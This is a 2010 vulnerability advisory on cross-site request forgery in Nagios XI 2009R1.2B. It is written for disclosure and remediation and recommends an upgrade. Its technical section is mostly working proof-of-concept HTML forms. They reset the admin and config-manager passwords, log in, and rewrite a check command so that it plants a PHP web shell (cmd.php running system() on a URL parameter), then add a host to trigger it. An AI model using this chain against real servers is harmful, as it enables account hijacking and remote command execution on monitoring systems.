Advisory Information

Advisory ID: NGENUITY-2010-006
Date published: Aug. 7, 2010
Class: Cross-Site Request Forgery (CSRF)


      Software Description

Nagios XI is the commercial / enterprise version of the open source
Nagios project.


      Vulnerability Description

Nagios XI 2009R1.2B is vulnerable to multiple cross-site request forgery
(CSRF) vulnerabilities. All of the privileged actions tested were
vulnerable to CSRF, not just the ones listed below. It is recommended to
upgrade to version 2009R1.2C or later.

Exploiting the identified vulnerabilities requires that the nagiosadmin
be logged into the web interface. Note that the admin does not have to
be logged into the configuration manager, the attacker can accomplish
that themselves.


      Technical Details

Reset the nagiosadmin password via CSRF

This can be useful to hijack the administrators account.
<input type='button' id='adminpassword' value='Set nagiosadmin Password'/>
<form name="adminpasswordform" 
    action="http://10.0.10.28/nagiosxi/account/main.php?page=acctinfo" 
    method="POST" target="hidden" class="invisible">
    <input type="input" name="defaultDateFormat" value="1" />
    <input type="input" name="defaultLanguage" value="en" />
    <input type="input" name="defaultNumberFormat" value="1" />
    <input type="input" name="defaultTheme" value="none" />
    <input type="input" name="email" value="adam@ngenuity-is.com" />
    <input type="input" name="name" value="Nagios Administrator" />
    <input type="input" name="password1" value="letmein1" />
    <input type="input" name="password2" value="letmein1" />
    <input type="input" name="update" value="1" />
</form>


Reset the configuration manager password

The attacker just has the victim visit the following URL. Even if the
nagios admin is not logged into the configuration admin, the attacker can…

1. Force a password reset of the configuration manager
2. Log the nagiosadmin into the configuration manager
3. Create a simple web shell on the nagios server.

http://10.0.10.28/nagiosxi/admin/credentials.php?options=1
    &update=1
    &config_admin_password=letmein1
    &subsystem_ticket=2objrv9t6glq
    &config_backend_password=38ajpt

Log into the configuration manager with previously set password

<input type='button' id='login' value='Login to Config Manager' />
<form name='loginform' action=“http://10.0.10.28/nagiosql/index.php”
method=“POST” target=“hidden” class=“invisible”>
<input type=“input” name=“Submit” value=“Login”/>
<input type=“input” name=“tfPassword” value=“letmein1”/>
<input type=“input” name=“tfUsername” value=“nagiosadmin”/>
</form>

Modify nagios command to create a webshell when run

Note the \ before the ; in our php code is what makes this possible.
Normally Nagios would not allow for a ; to be input into the command
string unless escaped. PHP will happily still execute this code despite
the \ being there.

<input type='button' id='modifycmd' value='Create Web Shell Command' />
<form name='modifycmdform' 
    action="http://10.0.10.28/nagiosql/admin/checkcommands.php" 
    method="POST" target="hidden" class="invisible">
    <input type="input" name="chbActive" value="1"/>
    <input type="input" name="hidActive" value=""/>
    <input type="input" name="hidId" value="3"/>
    <input type="input" name="hidLimit" value="0"/>
    <input type="input" name="modus" value="modify"/>
    <input type="input" name="selCommandType" value="1"/>
    <input type="input" name="tfCommand" 
        value='/bin/echo "<pre><?php echo system(\$$_GET[\"c\"])\; ?>
        </pre>" > /usr/local/nagiosxi/html/cmd.php' />
    <input type="input" name="tfName" value="check-host-alive"/>
</form>

Add a Host to make sure our command is triggered, and the web shell created.

Yes this is a long and boring form…

<form name='addhostform' action='http://1.2.3.4/nagiosql/admin/hosts.php' 
    method='POST' target='hidden' class='invisible'>
    <input type="input" name="chbActive" value="1"/>
    <input type="input" name="hidActive" value=""/>
    <input type="input" name="hidId" value=""/>
    <input type="input" name="hidLimit" value="0"/>
    <input type="input" name="hidName" value=""/>
    <input type="input" name="modus" value="insert"/>
    <input type="input" name="radActiveChecksEnabled" value="2"/>
    <input type="input" name="radContactGroups" value="1"/>
    <input type="input" name="radContacts" value="1"/>
    <input type="input" name="radEventEnable" value="2"/>
    <input type="input" name="radFlapEnable" value="2"/>
    <input type="input" name="radFreshness" value="2"/>
    <input type="input" name="radHostGroups" value="2"/>
    <input type="input" name="radNoStatusInfos" value="2"/>
    <input type="input" name="radNotifEnabled" value="2"/>
    <input type="input" name="radObsess" value="2"/>
    <input type="input" name="radParent" value="2"/>
    <input type="input" name="radPassiveChecksEnabled" value="2"/>
    <input type="input" name="radPerfData" value="2"/>
    <input type="input" name="radStatusInfos" value="2"/>
    <input type="input" name="selCheckPeriod" value="0"/>
    <input type="input" name="selEventHandler" value="0"/>
    <!-- Command we overwrote -->
    <input type="input" name="selHostCommand" value="3"/> 
    <input type="input" name="selNotifPeriod" value="3"/>
    <input type="input" name="selTemplate" value="2::1"/>
    <input type="input" name="tfActionURL" value=""/>
    <input type="input" name="tfAddress" value="4.2.2.2"/>
    <input type="input" name="tfArg1" value=""/>
    <input type="input" name="tfArg2" value=""/>
    <input type="input" name="tfArg3" value=""/>
    <input type="input" name="tfArg4" value=""/>
    <input type="input" name="tfArg5" value=""/>
    <input type="input" name="tfArg6" value=""/>
    <input type="input" name="tfArg7" value=""/>
    <input type="input" name="tfArg8" value=""/>
    <input type="input" name="tfCheckInterval" value=""/>
    <input type="input" name="tfD2Coords" value=""/>
    <input type="input" name="tfD3Coords" value=""/>
    <input type="input" name="tfDisplay" value=""/>
    <input type="input" name="tfFirstNotifDelay" value=""/>
    <input type="input" name="tfFreshTreshold" value=""/>
    <input type="input" name="tfFriendly" value="testpwn"/>
    <input type="input" name="tfGenericName" value=""/>
    <input type="input" name="tfHighFlat" value=""/>
    <input type="input" name="tfIconImage" value=""/>
    <input type="input" name="tfIconImageAlt" value=""/>
    <input type="input" name="tfLowFlat" value=""/>
    <input type="input" name="tfMaxCheckAttempts" value="5"/>
    <input type="input" name="tfName" value="testpwn"/>
    <input type="input" name="tfNotes" value=""/>
    <input type="input" name="tfNotesURL" value=""/>
    <input type="input" name="tfNotifInterval" value="0"/>
    <input type="input" name="tfRetryInterval" value=""/>
    <input type="input" name="tfStatusImage" value=""/>
    <input type="input" name="tfVmrlImage" value=""/>
    <input type="input" name="txtVariablename" value=""/>
    <input type="input" name="txtVariablevalue" value=""/>
</form>


Original Advisory at http://ngenuity-is.com/advisories/2010/aug/7/nagios-xi-multiple-csrf/
POC Exploit http://evilpacket.net/dev/nagiosxi/